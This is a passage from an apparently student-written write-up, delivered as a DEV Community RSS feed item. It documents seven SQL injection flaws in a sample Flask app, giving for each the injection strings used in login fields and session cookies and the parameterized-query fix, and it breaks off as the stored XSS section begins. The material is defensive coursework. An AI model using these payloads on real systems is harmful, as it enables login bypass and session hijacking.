<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 134A6_Thoughts</title>
    <description>The latest articles on DEV Community by 134A6_Thoughts (@acchanli).</description>
    <link>https://dev.to/acchanli</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3760057%2Ff48a8124-8978-496c-9102-7740355fd107.jpg</url>
      <title>DEV Community: 134A6_Thoughts</title>
      <link>https://dev.to/acchanli</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/acchanli"/>
    <language>en</language>
    <item>
      <title>MP3 - SQLi, XSS, and CSRF WriteUp</title>
      <dc:creator>134A6_Thoughts</dc:creator>
      <pubDate>Sat, 30 May 2026 05:34:52 +0000</pubDate>
      <link>https://dev.to/acchanli/mp3-sqli-xss-and-csrf-writeup-2npd</link>
      <guid>https://dev.to/acchanli/mp3-sqli-xss-and-csrf-writeup-2npd</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;For Machine Problem 3, our group — Aki, Lark, and Carl — was tasked with finding and fixing security vulnerabilities in a sample web application written in Python (Flask) with sqlite3 as its database. The application has a login page and a posts page where users can view and create their own posts.&lt;/p&gt;

&lt;p&gt;Our scope was limited to SQL injection, CSRF, and XSS, though we also fixed related issues we came across. Going through the code, we found seven SQL injection vulnerabilities, two CSRF vulnerabilities, and one XSS vulnerability. Each one is documented below along with the fix we applied.&lt;/p&gt;




&lt;h2&gt;
  
  
  SQL Injection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem
&lt;/h3&gt;

&lt;p&gt;The original application built SQL queries by concatenating user input directly into query strings. This means an attacker can type SQL code into any input field or manipulate cookies to change what the query does.&lt;/p&gt;




&lt;h3&gt;
  
  
  SQLi-1 — Login Bypass via Password Field
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT id from users WHERE username = &lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt; AND password = &lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; On the login page, the attacker enters &lt;code&gt;alice&lt;/code&gt; as the username and &lt;code&gt;' OR '1'='1&lt;/code&gt; as the password. The app pastes the input directly into the query, producing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'alice'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;'1'='1'&lt;/code&gt; is always true so the database returns alice's row and the attacker is logged in without ever knowing her password.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnd0mzkzkf6zcvmrhu4xl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnd0mzkzkf6zcvmrhu4xl.png" alt=" " width="687" height="76"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT id FROM users WHERE username = ? AND password = ?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  SQLi-2 — Login Bypass Without Any Credentials
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code:&lt;/strong&gt; Same as SQLi-1.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker enters &lt;code&gt;' OR 1=1 --&lt;/code&gt; (with a trailing space) as the username and anything as the password. The query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;-- ' AND password = '...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;--&lt;/code&gt; comments out everything after it, removing the password check entirely. &lt;code&gt;1=1&lt;/code&gt; is always true so the attacker logs in as the first user in the database without knowing any credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdc4qhx60ajmbvsih3aun.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdc4qhx60ajmbvsih3aun.png" alt=" " width="680" height="82"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Same parameterized query as SQLi-1.&lt;/p&gt;




&lt;h3&gt;
  
  
  SQLi-3 — Targeted User Bypass
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code:&lt;/strong&gt; Same as SQLi-1.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; If the attacker knows a username, they enter &lt;code&gt;alice' --&lt;/code&gt; as the username and anything as the password. The query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'alice'&lt;/span&gt; &lt;span class="c1"&gt;-- ' AND password = '...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;--&lt;/code&gt; comments out the password check. The database only checks the username, which matches, and the attacker logs in as alice specifically.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7fbv8xxwrw0iyde09gcd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7fbv8xxwrw0iyde09gcd.png" alt=" " width="720" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Same parameterized query as SQLi-1.&lt;/p&gt;




&lt;h3&gt;
  
  
  SQLi-4 — Session Hijack via Cookie
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT users.id, username FROM users INNER JOIN sessions ON &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
                  &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;users.id = sessions.user WHERE sessions.token = &lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
                  &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker opens DevTools (F12) in a browser where they have never logged in, goes to Application → Cookies → &lt;code&gt;http://localhost:5000&lt;/code&gt;, and sets the &lt;code&gt;session_token&lt;/code&gt; cookie to &lt;code&gt;' OR '1'='1&lt;/code&gt;. Visiting &lt;code&gt;/home&lt;/code&gt; produces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;'1'='1'&lt;/code&gt; is always true so the query returns the first active session in the database. The attacker gains access to that user's account without ever logging in.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvr3s9sc6xw7ix88kisgx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvr3s9sc6xw7ix88kisgx.png" alt=" " width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb07rsh3qfji5bddewxj1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb07rsh3qfji5bddewxj1.png" alt=" " width="568" height="250"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8gpiu54atw4vfi3ixx1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8gpiu54atw4vfi3ixx1.png" alt=" " width="799" height="114"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT users.id, username FROM users &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;INNER JOIN sessions ON users.id = sessions.user &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;WHERE sessions.token = ?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),),&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  SQLi-5 — Post Message Crash
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;INSERT INTO posts (message, user) VALUES (&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;);&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker submits any post containing a single quote, such as &lt;code&gt;it's a test&lt;/code&gt;. The quote breaks out of the SQL string early, causing a syntax error that crashes the app with a 500 Internal Server Error. The post is never saved and the app becomes unavailable until restarted.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1w931rnikrfpfblseo2w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1w931rnikrfpfblseo2w.png" alt=" " width="401" height="316"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fla0hsqpkovkccvcghtbz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fla0hsqpkovkccvcghtbz.png" alt=" " width="800" height="92"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;INSERT INTO posts (message, user) VALUES (?, ?);&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg42wv5rfwbfhaurpgzj9.png" alt=" " width="371" height="342"&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  SQLi-6 — Post as Another User via Cookie
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code:&lt;/strong&gt; Same cookie concatenation pattern as SQLi-4 in the &lt;code&gt;/posts&lt;/code&gt; route.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker sets their &lt;code&gt;session_token&lt;/code&gt; cookie to &lt;code&gt;' OR '1'='1&lt;/code&gt; in DevTools, then submits a post. The session lookup returns the first active session in the database, and the post is saved under that user's account — the attacker posts as another user without knowing their credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpbrzsi52utucyt5rbzx1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpbrzsi52utucyt5rbzx1.png" alt=" " width="799" height="142"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Same parameterized cookie lookup as SQLi-4 applied to &lt;code&gt;/posts&lt;/code&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  SQLi-7 — Force Logout via Cookie
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code:&lt;/strong&gt; Same cookie concatenation pattern in &lt;code&gt;/logout&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How an attacker does it:&lt;/strong&gt; The attacker opens a second browser, sets &lt;code&gt;session_token&lt;/code&gt; to &lt;code&gt;' OR '1'='1&lt;/code&gt; in DevTools, and visits &lt;code&gt;/logout&lt;/code&gt;. The injected cookie matches the first active session in the database — alice's session is deleted even though the attacker never knew her token. When alice tries to visit &lt;code&gt;/home&lt;/code&gt; she is redirected to login.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpuaumqhnb1cylzgls3gh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpuaumqhnb1cylzgls3gh.png" alt=" " width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Same parameterized cookie lookup as SQLi-4 applied to &lt;code&gt;/logout&lt;/code&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Root Cause and Fix Summary
&lt;/h3&gt;

&lt;p&gt;All seven vulnerabilities share the same root cause — user input concatenated directly into SQL strings. The fix is the same in every case: use &lt;code&gt;?&lt;/code&gt; placeholders so input is always treated as data, never as SQL.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test&lt;/th&gt;
&lt;th&gt;Input Vector&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SQLi-1&lt;/td&gt;
&lt;td&gt;Password field&lt;/td&gt;
&lt;td&gt;Login bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLi-2&lt;/td&gt;
&lt;td&gt;Username field&lt;/td&gt;
&lt;td&gt;Login bypass, no credentials needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLi-3&lt;/td&gt;
&lt;td&gt;Username field&lt;/td&gt;
&lt;td&gt;Targeted login bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLi-4&lt;/td&gt;
&lt;td&gt;Session cookie&lt;/td&gt;
&lt;td&gt;Session hijack on &lt;code&gt;/home&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLi-5&lt;/td&gt;
&lt;td&gt;Post message&lt;/td&gt;
&lt;td&gt;Application crash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLi-6&lt;/td&gt;
&lt;td&gt;Session cookie&lt;/td&gt;
&lt;td&gt;Post as another user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLi-7&lt;/td&gt;
&lt;td&gt;Session cookie&lt;/td&gt;
&lt;td&gt;Force logout of any user&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  XSS (Cross-Site Scripting)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;| safe&lt;/code&gt; filter in &lt;code&gt;home.html&lt;/code&gt; disabled Jinja2's automatic HTML escaping on post content. Because posts are stored in the database and displayed to every user who visits the home page, an attacker can inject HTML or JavaScript that executes in the browser of anyone who views it — this is called a Stored XSS vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable code:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;{{ post[0] | safe }}&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  XSS-1 — HTML Injection (Proof of Concept)
